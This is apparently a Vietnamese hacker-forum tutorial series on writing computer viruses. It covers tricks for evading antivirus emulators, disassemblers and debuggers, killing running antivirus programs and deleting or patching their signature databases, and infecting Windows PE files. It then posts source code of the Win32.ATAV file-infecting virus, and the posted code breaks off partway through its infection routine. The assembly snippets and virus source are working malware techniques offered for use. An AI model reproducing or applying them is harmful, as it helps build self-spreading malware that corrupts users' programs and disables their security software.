Anti-Emulator bằng các tip-trick đơn giản:
Với phương pháp heuristic analysis các AV sẽ CÓ THỂ phát hiện ra mọi VR, kể cả các VR chưa từng gặp. Nó làm việc giống như một bộ giải mã, quét và kiểm tra các đoạn code khả nghi kiểu như các đoạn duyệt APIs, jump to ring-0, làm việc với *.exe mở và ghi các tệp khả thi (.exe, .dll...). Heuristic analysis là một í tưởng rất táo bạo tuy nhiên nghe có vẻ ... phi thực tế. Thế nhưng kỹ thuật này cho đến nay đã có rất nhiều cải tiến và phát triển trong hầu hết các AV nổi tiếng. Tuy vậy, nhiều AV có các bugs và nhiều khi không nhận các đoạn code nguy hiểm. Một số gặp khó khăn khi bắt gặp các mã lệnh "hiểm" (undocumented opcodes) và đa số chúng đều không thể quản lý stack chính các như khi VR chạy thực. Lợi dụng các đặc điểm này nảy sinh một số tricks để qua mặt các Emulator như:
- Kiểm tra stack:
mov edx, esp
push cs
pop eax
cmp esp, edx
jne emul_present
; Có AV emulator

Đoạn code trên hoàn toàn vô hại thậm chí hơi ngớ ngẩn nếu bạn xem qua nhưng trong thực tế chương trình của ban phát hiện được ngay có kẻ can thiệp vào stack của ban trong khi chạy, vậy chương trình của bạn không chạy thực mà chỉ đang trong chế độ emulator
- Tương tự thế bạn có thể lừa AV bằng vài lệnh RETF (rất nhiều VR nội có dùng)
- Sử dụng các opcode lạ (undocumented opcodes) của processor như SALC, BPICE. Vô hại với bạn nhưng khó hiểu với AV
......

Anti-Heuristics bằng kỹ thuật cao cấp:
Như vậy anti-emulator là đánh vào chỗ hổng của các giải thuật heuristic scanners. Các AV có thể khắc phục nhưng rất khó khăn đặc biệt nếu bạn dùng vài kỹ thuật cao hơn như SEH. Tạo ra lỗi giả rồi nhảy đến đoạn bẫy lỗi. Tôi viết VR cách đây lâu rồi nên các kỹ thuậu mới trên win có khi không cập nhật bằng các bác nữa. Tôi sẽ đi sâu vào DOS hơn một chút.
Trước kia trên DOS tôi thích sử dụng vài kỹ thuật bẫy ngắt với:
- Int 0 (divide by zero). Chỉ cần một phép chia cho 0, bạn sẽ nhảy ngay đến code mới mà emulator không theo vết được (ta có thể âm thầm descrypt ở đây)
- Dấu code gọi ngắt:
mov ax, 3D02h-key
add ax, key
int 21h
;Tránh để lộ thao tác đọc file
- Với 386/486 ngày xưa có thể cùng queue fetch (xin lỗi vì tôi hơi hoài cổ một chút):
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop

code này ngày nay không dùng được. Bạn sẽ nghĩ chương trình sẽ kết thúc vì lệnh int 20h (20CDh) ư? Không đâu! với 386/486 code chạy vẫn là nop
Thế nhưng ngày nay kỹ thuật này biến thể một chút vì các CPU pentium không có queue fetch nhưng các emulator phát triển từ xưa vẫn nghĩ là có. Kỹ thuật đảo lại là:

mov word ptr [offset prefetch],
prefetch:
int 20h
(sao bạn không cười? tôi có trình khó hiểu quá không nhỉ? )
- Tương tự ngắt int 0. Bạn có thể bẫy int 1, int 6
Thôi kết thúc DOS. Trở lại win ta có thể dùng:
- Structured Exception Handling (SEH). Kỹ thuật này phổ biến quá rồi ha
- Threads and fibers
- Pentium+, copro, MMX, 3DNow! opcodes (undocumented opcodes)
- Kỹ thuật đa hình metamorphism
- Nhảy bằng Callbacks
- .......
Chắc mọi người biết cả rồi vì tôi mới trở lại với "Nghệ thuật hắc ám" gần nên kiến thức trên win không mới lắm.

Anti-Analysis
Ở phần này tôi muốn nói về chống disassemblers.
Ai cũng biết mấy thằng disassemblers thông dụng như IDA, Sourcer hay win32dasm. Nếu bạn là người xây dựng chương trình disassemblers bạn sẽ làm thể nào. Tất nhiên dễ nhất là bắt đầu từ đầu chương trình, dasm tuần tự. Nếu code tuần tự như tiến ta có kết quả đẹp nhất. Nếu không sau lần chạy thứ nhất ta sẽ hiệu chỉnh lại code theo các lệnh nhảy và call... Thử chạy sourcer, bạn sẽ thấy điểm yếu nhất của disassemblers là rất, rất khó xử lý lệnh call và jump. Vậy phương pháp của V-er là:
- Mã hoá càng nhiều càng tốt
- Sử dụng call với relative offset kiểu

call label
gdelta: db 0b8h
;MOV opcode
label: pop ebp
...
mov eax, [ebp + variable - gdelta]
(Cách này có ở đa số VR rồi)
- Nhảy vào ... giữa mã lệnh:

jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h

Bạn có thể thấy ngay thực ra đây không phải lệnh mov mà lệnh ta là 0fcebfa90h cơ
- Chèn các mã kiểu (db 0b8h) vào nhiều nơi sau các lệnh ret, jmp, ...
- Patch code runtime (tương tự kiểu queue fetch ở trên
- ...

Anti-Debug
Các AVer đã tóm được một mẫu VR của bạn. Hix.. bây giờ thì quá khó. Tuy vậy ta cũng có thể chống đỡ trong ... tuyệt vọng. Với Anti-Debug, nếu AVer không cao thủ họ mới nghi ngờ thôi thì cũng có thể bỏ cuộc. Vả lại có chết cũng cho oanh liệt, gây khó khăn chứ. Nếu không disassemble được người diệt sẽ debug. Cách thông thường là tìm xem có phần mềm debugger thông dụng kiểu softice thì chuồn lẹ. Các cách nhận biết debugger có thể là:
- Gọi luôn API của debugger
- Kiểm tra debugger context
- Sử dụng SEH (xem trên)
- Gọi VxD service (Ring-0 only)
- Kiểm tra softice trên bộ nhớ bằng CreateFileA
- Chọc vào các thanh ghi debug (Ring-0 only)

Anti-Monitor
Cũng vậy thôi, ta tìm xem có thằng AV nào thông dụng đang chạy trên bộ nhớ thì chuồn. Có thể dùng hàm API FindWindowA mà tìm. Nếu thấy thịt nó luôn bằng cách sử PostMessageA đến window handle của nó

Anti-Antivirus
Chủ động tìm database của AV trên đĩa mà thịt (có thể AV sẽ không chạy được nữa). Hay nhất là patch được database (AV chạy bình thường nhưng không tìm được VR nữa. Một số db thông dụng:

*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file

Anti-Bait
Chọn file mà lây. Tránh các AV, tránh mấy chương trình thông dụng kiểu winword.exe. Như ngày xưa trên DOS ta hay tránh command.com í

Tóm lại, tôi tổng kết các kỹ thuật ở đây, đây là theo những gì tôi hiểu nên sai các bác bỏ qua cho. Nếu tôi trình bày khó hiểu quá thì hix... trình độ sư phạm tôi thế thôi. Đây toàn là í tưởng các Ver chuyên nghiệp đã dùng nếu bạn là Ver đã từng viết VR chắc sẽ hiểu ra và tự xây dựng đoạn code cho riêng mình được.

Thân,
Spinx

Tôi sẽ đưa thêm một số ví dụ về từng kỹ thuật đã đề cập phía trên

Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.

- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx
;result to ECX
jecxz debugger_not_present
;if ZERO, debugger not present

Gọi hàm API Win98/NT kiểm tra API level debugger

- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present
;if ZERO, debugger not present

- Sử dụng SEH

call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8]
; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0]
; Push original SEH handler
mov fs:[0],esp
; And put the new one (located
; after the first call)

mov ebx,0BFF70000h
; Try to write in kernel (will
mov eax,012345678h
; generate an exception)
xchg eax,[ebx]

- Gọi VxD service (Ring-0 only)

mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB
;call service
xchg eax, ecx
;result to ECX
jecxz sice_not_present
;SoftICE not present


- Kiểm tra softice trên bộ nhớ bằng CreateFileA

xor eax, eax ;EAX=0
push eax
;parameters
push 4000000h
;for
push eax ;CreateFileA
push eax ;API
push eax
;function
push eax
;...
push offset sice
;name of driver
call CreateFileA
;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax
;no,
push eax
;close its handle
call CloseHandle
;...
...
;and make some action
sice db '\\.\SICE',0
;SICE driver under Win9X
;sice db '\\.\NTICE',0
;SICE driver under WinNT

- Chọc vào các thanh ghi debug (Ring-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax
;to dr0

Anti-Heuristics bằng bẫy ngắt trên DOS:

INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã hoá VR:

mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2501h
; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h

db 0F1h
; Giải mã VR

mov ax, 2501h
;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h


[...]

int1_handler:
;...Giải mã/ mã hoá VR here...
iret
Hoặc ta có thể làm mất vết bằng cách:
[...]

db 0F1h
;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h
;Thực ra chẳng bao giờ quit
;---- VR tiếp tục bình thường

[...]

int1_handler:
mov bx, sp
;modify return address, so the quit command
add word ptr ss:[bx], 5
;is never executed.
iret
INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h

mov ax, 3506h
;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2506h
;Bẫy ngắt
mov dx, offset int6_handler
int 21h

dw 0FFFFh
;Tự tạo lỗi

mov ax, 2506h
;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h

[...]

int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2
;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret

Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên

Thân,
spinx
BÀI 4: VR TRÊN WINDOWS
Author: Spinx
OK, không thấy có bạn nào thắc mắc gì nhiều về các VR trên DOS (chắc chẳng ma nào đọc) :rolleyes: đồng thời có nhiều bạn PM cho tôi yêu cầu được biết thêm về VR trên Win và Unix. Chính vì vậy tôi sẽ kết thúc các bài đào tạo cơ bản để chuyển sang VR for Win. Vì thời gian có hạn, tôi sẽ mặc định là các bạn đã biết cách lập VR trên DOS để tập trung phân tích những điểm khác biệt giữa 2 hệ điều hành tất nhiên ở khía cạnh VR programming. Có nhiều bạn (kể cả tôi) lập trình VR trên DOS khá suya cho đến một ngày win ra đời, mọi thứ đảo lộn tiếp cận VR trên win còn khó khăn nên nếu bác nào chưa làm VR mà đọc ngay đừng có choáng nhé. Tôi sở trường dùng ASM nên ngôn ngữ trình bày là Win32Asm.

VR có rất nhiều dạng, bản thân môi trường Win tính đa dạng và phức tạp cũng hơn DOS nhiều nên VR trên Win càng đa dạng và phong phú. Lập trình các loại VR “đơn nguyên” như VR macro hay trojan không quá phức tạp nên tôi sẽ để dành ở một bài khác. Chúng ta sẽ bắt đầu với VR .exe trên Win9x trước.

Như ta đã biết. Các bước cơ bản của VR tệp khả thi là tự copy chính đoạn mã VR vào các tệp khả thi của hệ điều hành như .exe, .com, .dll, .ocx... nhưng nạn nhân chủ yếu trên win là tệp .exe (thực tế có rất nhiều dạng khác nhưng ta tạm xét là ngoại lệ). Nguyên tắc này vẫn đúng trên các hệ điều hành Windows. Thật đáng tiếc là mức độ bảo mật và tự vệ của bản thân các HĐH windows cũng khác nhau nên nhiều VR chỉ có tính tương thích nhất định. Thao tác cần phân tích bao gồm:
- Cách thức lây lan
- Khả năng thường trú
- Khả năng kiểm soát hệ thống

Cách thức lây lan
Gần giống với VR .exe trên DOS, thao tác lây lan ở đây chỉ đơn giản là sửa lại header tệp PE trên win và attach đoạn code VR vào tệp gốc (host). Tất cả thứ chúng ta cần là cấu trúc header tệp PE của Windows. Điểm bắt đầu chương trình đặc biệt là con trỏ EIP (trên DOS là cs:ip). Tài liệu header PE có rất nhiều trên mạng, kể cả trong các tài liệu chính thức (các bạn có thể tự tìm). Trên HVA cũng có vài bài hình như của .... đề cập chi tiết nên tôi sẽ không đi sâu nữa mà chỉ nhắc lại vài điểm chính.

http://spinxspinx.bravepages.com/images/pefig01.gif

Đây là hình tôi cắt từ tài liệu msdn của microsoft (đã giới thiệu khá đầy đủ). Như vậy bản thân header của tệp PE đã bao gồm cả header của tệp .exe trên DOS. Thậm chí các chương trình for windows hầu như đều có 1 đoạn code chạy trên DOS để in ra thông báo dạng “This program cannot be run in DOS mode”. Như thế một chương trình có thể vừa for win vừa for dos được không? Câu trả lời là được và VR cũng vậy.
OK, vậy là ta đã có thể lây lan được tệp PE rồi phải không ạ? Chi tiết hơn một chút về kỹ thuật, ta dùng gì để ghi lên các tệp đây? Trên dos thông thường ta lợi dụng bản thân các ngắt của DOS để ghi, cụ thể là ngắt 21h. Tương tự nền tảng trên win là các API, hãy tận dụng tối đa. VR chỉ là một đoạn code. Vị trí của nó thay đổi theo kích thước host chính vì vậy các offset tuyệt đối bị di rời loạn xạ. Lưu ý với VXer là phải sử dụng địa chỉ tương đối cho các biến của mình. Đã từng làm VR trên DOS chắc các bạn đều rõ điều này. Kỹ thuật cổ xưa vẫn áp dụng được. Đấy là thao tác dùng delta:
call Delta
Delta:
pop ebp

Khi gọi ngắt trên dos, địa chỉ ngắt luôn được HĐH tự động xác định qua bảng vector ngắt. Cứ việc gọi int xxx (0CD/xxx) việc còn lại là của CPU. Với API lại khác. API thực chất chỉ là các hàm thư viện viết sẵn của HĐH và load lên bộ nhớ như một chương trình. Để gọi được nó cần có địa chỉ của nó trong tay. Đương nhiên câu hỏi được đặt ra là vậy các chương trình “hợp pháp” gọi API như thế nào? Ta quay trở lại với khái niệm cơ bản trên windows. Các chương trình sau khi biên dịch đều có một bảng import table. Các hàm API chương trình sẽ sử dụng đều được ghi trong import table. Khi chương trình chạy windows loader sẽ làm nhiệm vụ xây dụng một bảng địa chỉ IAT (import address table) cho các hàm này. Thật đáng tiếc ta không thể thay đổi bảng này vì windows đã để mắt đến nó. Vì vậy để goi API từ VR ta phải làm lại thao tác của loader và xây dựng bản địa chỉ riêng.

Khi đó lệnh gọi tương đối hàm API sẽ có dạng
call [ebp+_]

ebp+_ ==> chứa địa chỉ hàm API

APIs nó nằm ở đâu bạn không hề biết, làm sao bây giờ. Đâu có đó, thịt chó còn có rau thơm. Windows cung cấp cho ta một hàm để lấy địa chỉ các làm API theo tên là hàm là GetProcAddress. Vấn đề là ở đây là GetProcAddress cũng là 1 hàm API. :ph34r: Vậy yêu cầu tối thiểu là phải có địa chỉ 1 hàm GetProcAddress trong Windows. Hàm này thuộc kernel của win nên bây giờ câu hỏi chỉ còn kernel của windows nằm ở đâu. Trả lời điều này dễ hơn nhiều. Ta có ngay một danh sách:

0BFF70000h = Win95 Kernel Addr
077F00000h = WinNT Kernel Addr
077e00000h = Win2k Kernel Addr

Ta có thể yên tâm sử dụng cho đến khi Microsoft thay đi mất. :huh: Thực ra địa chỉ này có thể không hoàn toàn chính xác như vậy. Ta nên kiểm tra ký tự “MZ” (header của file kernel32.dll) để xác định chính xác vị trí kernel. Có kernel header đối chiếu export/import table của kernel để đọc địa chỉ hàm API theo tên. Oải quá phải không? Đáng tiếc là no way. Thực ra cũng không quá khó đâu vì tất cả đều có trong PE/NE HEADER. Các bạn đọc và nghiền ngẫm kỹ lại đi.

Thường trú
Thao tác thường trú thực chất nhằm tăng khả năng lây lan và kiểm soát hệ thống. DOS là hệ điều hành đơn nhiệm, tốc độ các máy thời xưa không nhanh lắm. Nếu thao tác lây lan chỉ thực hiện lúc đầu khi ta chưa khả quyền điều khiển về host sẽ làm chậm thao tác load của chương trình ngoài ra phạm vi tìm kiếm của chương trình tương đối hẹp nên nên lây lan không đa dạng và nhanh chóng. Với tốc độ máy hiện nay, và với khả năng đa nhiệm của Win điều này không còn quá quan trọng như xưa. Thực tế số lượng VR không thường trú trên Win nhiều hơn Dos rất nhiều. Tuy vậy ta đã quá quen với VR thường trú, khi VR không thường trú VXer có cảm giác mình chưa thực sự kiểm soát máy nạn nhân (tôi cũng vậy). Để có một VR không thường trú trên Win không khó lắm. Bất quá cũng chỉ là một chương trình đọc ghi tệp bằng API viết trên ASM. Bạn đã lập VR trên DOS, đọc qua header PE file -> done. Thường trú trên Win không đơn giản như vây. Cái khó của ta là gì? Protected mode!
Vây có cách nào vượt qua protected mode không? Có chứ nhiều là đằng khác. Sau khi suy nghĩ tôi quyết định chọn giới thiệu cho các bạn 2 cách đơn giản nhất và kỹ thuật cao nhất. Nhưng trước hết Protected mode là gì.

Chúa ơi, muộn quá rồi. Tôi phải đi ngủ vậy không ngày mai toi mất. Vì thời gian có hạn không thể trình bày chi tiết hơn được các bác thông cảm. Có gì thắc mắc cứ post lên tôi sẽ từ từ giải đáp sau.

Ta lại tiếp tục nhé. Lần trước tôi dừng ở đâu nhỉ? Protected Mode là gì. Windows làm việc trong một môi trường bảo vệ. Nhờ đó nó có thể kiểm soát được các thao tác truy nhập cấp thấp của các ứng dụng. Đến đây có sự phân hoá mức độ an toàn bảo vệ khá rõ giữa các windows. Ta phân tích với win9x để lấy khái niệm rồi các bài sau ta sẽ đưa ra các tips&tricks có thể lợi dụng của win2k/xp

Vector ngắt:
Lên windows thường có một câu hỏi ai cũng nghĩ đến là các vector ngắt đi đâu và liệu ta có sử dụng được các ngắt ngày xưa không? Xét một cách sâu xa, ngắt (interrupt) không phải chỉ là khái niêm của hệ điều hành. Đây là tính năng của bộ vi xử lý. Thực ra trên windows các ngắt vẫn có chứ không biến mất. Việc gọi các vector ngắt windows vẫn hỗ trợ nhưng kiểm soát và hạn chế hơn rất nhiều. Các thao tác “bá đạo” như VR hay một chương trình lập trình hệ thống hay làm sử dụng các ngắt truy nhập cấp thấp sẽ gây ra lỗi bảo vệ. Trước kia trên DOS các vector ngắt có thể thay đổi dễ dàng bằng cách thay đổi địa chỉ trong bảng vector ngắt IVT (Interrupt Vector Table), trong chế độ protected bảng IDT (Interrupt Descriptor Table) sẽ lưu giữ các vector ngắt này. Thay đổi IDT có thể tạo cho ta hiệu ứng tương đương như trên dos nhưng việc này chẳng dễ dàng tí nào cả.

Bộ nhớ:
Để có chế độ bảo vệ, windows không thể đạt được nếu chỉ dựa vào phần mềm. Đây là nhờ có sự trợ giúp kiểm soát của phần cứng đặc biệt là bộ vi xử lý. Các ứng dụng chạy trong chế độ bảo vệ của windows thường có bảng IDT/IVT và bộ nhớ riêng và chạy như một hệ thống khép kín đọc lập. Mọi thao tác trực tiếp đến vùng nhớ ngoài ứng dụng đều gây ra lỗi bảo vệ (truy nhập không hợp lệ).

Rings:
Vậy bản thân windows kiểm soát hệ thống ở cấp thấp như thế nào? Ta có khái niệm rings. Đây là các “đặc quyến” các ứng dụng trên win có thể có. Một chương trình thông thường chạy ở ring-3 (có ít sức mạnh nhất) và kernel hệ thống chạy ở ring-0 có đặc quyền tối thượng. Việc cướp ring-0 của win sẽ cho ta sức mạnh kiểm soát toàn bộ hệ thống. Bạn muốn xoá CMOS (cổng 70h) ư? Hay đơn giản là kêu trên PC một âm thanh qua port timer? Bạn phải có ring-0. Bạn muốn có bảng vector ngắt riêng? Lại là ring-0. Việc của win là nắm chắc ring-0 còn việc của ta là cướp nó. Có một số sơ hở của windows dẫn đến các VXer lợi dụng cướp được ring-0 (ví dụ như VR nổi tiếng CIH). Tôi đã thử một vài kỹ thuật như vậy và sẽ trình bày lại với các bạn nhưng thật đáng tiếc tôi chưa bao giờ thành công với winNT/2k/xp.

Các kiến thức nho nhỏ tôi vừa trình bày chung quy chỉ để giải quyết vấn đề thường trú và kiểm soát hệ thống. Thường trú trên DOS rất dễ, ta có thể thay đổi khối nhớ MCBs của DOS hay đơn giản là tìm khoảng nhớ nào ít người dùng thì điềm nhiên “chui vào”. Ở chế độ bảo vệ, ta không làm được như vậy. Tôi đã hứa đưa ra 2 cách, một là cách đơn giản nhất, 2 là cách sử dụng kỹ thuật cao. Các bạn có thể đoán được cách thứ 2 là rings.

hừmm.. thời gian trôi nhanh quá lúc nào tôi rảnh ta sẽ lại tiếp tục nhé. Bác nào trợ giảng hay có tài liệu gì hay giải thích thêm đều rất hoan nghênh. Hẹn gặp lại bài sau

Spinx
Thực hành:
Định hòan thành một bài viết đã lâu nhưng nhìn cái policy của diễn đàn nên chưa dám. Hiện nay diễn đàn không khuyết khích hướng dẫn quảng bá lậ­p trình virus cho newbie nữa, hơn nữa chắc các bạn cũng có thể thấy qua là các kỹ thuật ở đây rất khó và sâu. Vì vậy tôi sẽ post nốt bài này thôi, có gì thắc mắc các bác cố phấn đấu mấy seo rồi vào Elite Member lập topic ta thảo luận tiếp nhe. Đây là sourcecode virus Win32.ATAV của Radix16[MIONS] rất thuận tiện cho học VR trên win. Tôi không dám hướng dẫn nữa đâu, chỉ post lên để các bác xem qua xem “chúng nó” viết VR thế nào thôi. Đây cũng là minh họa cho mấy phần tôi đã trình bày và là ví dụ để các bác tập trainning on the job cho các phần tôi chưa kịp trình bày. VR có sử­ dụng vài thư viện nhỏ của nhóm VR rất thành danh là 29A
Thân,

spinx

P/S: mấy điểm cần chú ý: VR này có sử­ dụng kỹ thuật mã hóa đơn giản bằng xor tÄ©nh
(tôi không muốn đưa ra code mã hóa đa hình phức tạp sẽ khó theo dõi), có cài code anti-debug, và kỹ thuật bẫy lỗi SEH. Nó có cài anti-AV nhưng chưa sử­ dụng nó và đây là bản rất sơ đẳng để thực tập viết VR

.386p
.Model Flat
jumps

.Data

db ?

extrn GetModuleHandleA :proc
extrn ExitProcess :proc

extrn MessageBoxA :proc

VirusSize equ Virus_End-Start
SizeCrypt equ Crypt_End-Crypto

include mz.inc
include pe.inc ;include files from Jacky Qwerty/29A
include win32api.inc
include useful.inc

.Code
Virus_Size equ Virus_End-Start

Start:
pushad
;Sử­ dụng kỹ thuậ­t bẫy lỗi SEH, kỹ thuậ­t này rất, rất hấp dùng không chỉ cho lậ­p trình VR mà cần cho lập trình hệ thống nói chung.
;Nhưng tôi sẽ không trình bày sâu hơn ở đy, tài liệu nó có rất nhiều trên net, các bác tập nghiên cứu thêm.@SEH_SetupFrame
xchg [edx], eax

seh_fn:

call Base1

Base1:
pop ebp
sub ebp,offset Base1
FirstGeneration:
call Mutate1
Crypto:

Virus_Start:

;Quét kernel nhằm tìm APIs tôi đã trình bày ở trên (xem lại bài học)call Kernel?

mov esi, ebx
mov ebx,[esi+10h]
add ebx,[ebp + imagebase]
mov [ebp + offset f_RVA],ebx
mov eax,[esi]
jz Not_Found_Kernel32

mov esi,[esi]
add esi,[ebp + offset imagebase]
mov edx,esi
mov ecx,[ebp+offset importsize]
mov eax,0

Jmp Get_Module_Handle

coded db 'Win32.ATAV ©oded by Radix16[MIONS]',0
maintext db 'Heayaaa',0
Kernel?:

mov esi,[ebp + offset imagebase]
cmp word ptr[esi],'ZM'
jne GetEnd

add esi,3ch
mov esi,[esi]
add esi,[ebp + offset imagebase]
push esi
cmp word ptr [esi], 'EP' ;Win App PE
jne GetEnd

add esi, 28h
mov eax, [esi]
mov [ebp+entrypoint], eax
pop esi
add esi,80h
mov eax,[esi]
mov [ebp+importvirtual],eax
mov eax,[esi+4]
mov [ebp+importsize],eax
mov esi,[ebp+importvirtual]
add esi,[ebp + offset imagebase]
mov ebx,esi
mov edx,esi
add edx,[ebp + importsize]

Search_Kernel:
mov esi,[esi + 0ch]
add esi,[ebp + offset imagebase]
cmp [esi],swKernel32
Je K32Found
add ebx, 14h
mov esi, ebx
cmp esi, edx
jg Not_Found_Kernel32
jmp Search_Kernel

K32Found:
ret

Not_Found_Kernel32:
mov eax, dword ptr [esp]

find_base_loop:
cmp dword ptr [eax+0b4h], eax
je Found_Adress
dec eax
cmp eax, 40000000h
jbe assume_hardcoded
jmp find_base_loop

assume_hardcoded:
mov eax, 0BFF70000h ;không tìm thấy ta có thể hardcode Địa chỉ kernel (xem lại bài học)
cmp word ptr [eax], 'ZM' ;kiểm tra image của kernel
je Found_Adress
mov eax, 07FFF0000h

Found_Adress:
mov [ebp+offset Kernel32], eax
mov edi, eax
cmp word ptr [edi],'ZM'
jne GetEnd
mov edi, [edi+3ch]
add edi, [ebp+offset Kernel32]
cmp word ptr [edi],'EP'
jne GetEnd

pushad

mov esi,[edi+78H]
add esi,[ebp+offset Kernel32]
mov [ebp+offset Export],esi
add esi,10H
lodsd
mov [ebp+offset basef],eax
lodsd
lodsd
mov [ebp+offset limit],eax
add eax, [ebp+offset Kernel32]
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddFunc],eax
lodsd
add eax, [ebp+offset Kernel32]
mov [ebp+offset AddName],eax
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddOrd],eax
mov esi,[ebp+offset AddFunc]
lodsd
add eax,[ebp+offset Kernel32]

mov esi, [ebp+offset AddName]
mov [ebp+offset Nindex], esi
mov edi,[esi]
add edi,[ebp+offset Kernel32]
mov ecx,0
mov ebx,offset API_NAMES
add ebx,ebp

TryAgain:
mov esi,ebx
MatchByte:
cmpsb
jne NextOne

cmp byte ptr [edi], 0
je GotIt
jmp MatchByte

NextOne:
inc cx
cmp cx, word ptr [ebp+offset limit]
jge GetEnd

add dword ptr [ebp+offset Nindex], 4
mov esi, [ebp+offset Nindex]
mov edi, [esi]
add edi, [ebp+offset Kernel32]
jmp TryAgain

GotIt:
mov ebx,esi
inc ebx
shl ecx,1

mov esi, [ebp+offset AddOrd]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax, 2
mov esi,[ebp+offset AddFunc]
add esi,eax
mov edi,dword ptr [esi]
add edi,[ebp+offset Kernel32]

mov [ebp+offset ddGetProcAddress], edi
popad

mov esi, offset swExitProcess
mov edi, offset ddExitProcess
add esi, ebp
add edi, ebp
;Quét địa chỉ các hàm APIs (xem lại bài học)Repeat_find_apis:
push esi
mov eax,[ebp+offset Kernel32]
push eax
mov eax,[ebp+offset ddGetProcAddress]
call eax
cmp eax,0
je GetEnd
stosd

repeat_inc:
inc esi
cmp byte ptr [esi], 0
jne repeat_inc
inc esi
cmp byte ptr [esi], 0FAh
jne Repeat_find_apis

Jmp Virus_Game

Get_Module_Handle:
cmp dword ptr [edx],0
je Not_Found_Kernel32
cmp byte ptr [edx+3],80h
je Not_Here
mov esi,[edx]
push ecx
add esi,[ebp + offset imagebase]
add esi,2
mov edi,offset gmhGetModuleHandleA
add edi,ebp
mov ecx,gmhsize
rep cmpsb
pop ecx
je f_GetModuleHandelA
Not_Here:
inc eax
add edx,4
loop Get_Module_Handle
jmp Not_Found_Kernel32
f_GetModuleHandelA:
shl eax,2
mov ebx,[ebp+offset f_RVA]
add eax,ebx
mov eax,[eax]

mov edx,offset se_Kernel32
add edx,ebp
push edx
call eax
cmp eax,0
jne Found_Adress
Jmp Not_Found_Kernel32


Virus_Game:
push offset SystemTime
mov eax,[ebp + ddGetSystemTime]
call eax

cmp byte ptr [SystemTime.wMonth],0Ah
jne Next_Game
cmp byte ptr [SystemTime.wDay],0Fh
jne Next_Game

jmp Ok_Day_Month

Next_Game:
mov dword ptr [ebp+offset infections], 0Ah

call SearchFiles
inc eax
jz GetEnd
dec eax
push eax
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc _try
dec dword ptr [ebp+offset infections]
cmp word ptr [ebp+offset infections], 0
je All_Done
_try:
push edi
lea edi, [edi.FileName]
mov ecx, 13d
mov al, 0
rep stosb
pop edi
pop eax
push eax
push edi
push eax
call dword ptr [ebp+offset ddFindNextFileA]
test eax,eax
jz All_Done
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc failinfection
dec dword ptr [ebp+infections]
failinfection:
cmp dword ptr [ebp+infections], 0
jne _try

All_Done:
pop eax
GetEnd:
cmp ebp, 0
je _exit
mov eax,[ebp + offset oldip]
add eax,[ebp + offset imagebase]
jmp eax
_exit:
push 0
mov eax, [ebp+offset ddExitProcess]
call eax



PEheader dd 0
oldip dd 0
oldsize dd 0
newsize dd 0
incsize dd 0
newip dd 0

;Bắt đầu lây nhiễm lên PE
Infect proc

pushad
add ecx,VirusSize ;kích thước VR
mov word ptr [ebp+infectionflag], 0
mov [ebp + offset memory],ecx
call OpenFile ;mở tệp lây nhiễmmov [ebp+offset filehandle], eax ;
inc eax ; eax -1
jz Endus
call CMapFile
or eax,eax
jz Endus
call MapView
or eax,eax
jz Exit_Map
mov esi,eax
mov [ebp+offset mapaddress],esi

cmp word ptr[esi],'ZM' ;mã tệp EXEjne UnMapw


mov ebx,dword ptr[esi+3ch]
cmp word ptr [esi+ebx],'EP' ;mã tệp PE
jne UnMapw
add esi,ebx
mov [PEheader+ebp], esi
mov eax, [esi+28h]
mov [oldip+ebp],eax
mov eax,[esi+3ch]
push eax
xor eax, eax
mov ebx,[esi+74h]
shl ebx,3
mov ax,word ptr [esi+6h]
dec eax
